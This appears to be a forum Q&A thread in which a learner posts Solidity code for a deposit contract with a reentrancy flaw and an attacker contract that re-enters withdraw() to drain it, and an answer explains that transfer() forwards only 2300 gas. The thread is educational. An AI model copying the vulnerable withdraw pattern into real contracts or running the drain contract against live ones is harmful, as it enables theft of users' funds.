0

I was trying to learn reentrancy attacks and how to save the contracts against them. I previously user address.transfer() to withdraw the amount, but the function reverted when performing the attack. When I replaced it with address.call{}(), the contract worked fine. Any idea why is that?

Code:

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;

import "hardhat/console.sol";

contract Deposits{
    mapping(address => uint256) public userBalance;

    function deposit() public payable {
        require(msg.value >= 1 ether);
        userBalance[msg.sender] += msg.value;
    }

    function withdraw() public {
        require(userBalance[msg.sender] > 0, "Amount error");
        console.log("1");

        // payable(msg.sender).transfer(userBalance[msg.sender]);
        (bool sent, ) = msg.sender.call{value: userBalance[msg.sender]}("");
        require(sent, "Not sent");

        userBalance[msg.sender] = 0;
    }

    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}



contract Attack {
    Deposits public deposit;

    constructor(address _contract) {
        deposit = Deposits(_contract);
    }

    receive() external payable {
        if(address(deposit).balance > 0) {
            deposit.withdraw();
        }
    }

    function attack() public payable {
        require(msg.value >= 1 ether);

        deposit.deposit{value: msg.value}();
        deposit.withdraw();
    }

    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

1 Answer 1

1

Your function is failing, because transfer only forwards 2300 gas for the "send ether transaction".

From the docs:

In the worst case, the receive function can only rely on 2300 gas being available (for example when send or transfer is used), leaving little room to perform other operations except basic logging. The following operations will consume more gas than the 2300 gas stipend:

  • Writing to storage
  • Creating a contract
  • Calling an external function which consumes a large amount of gas
  • Sending Ether

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.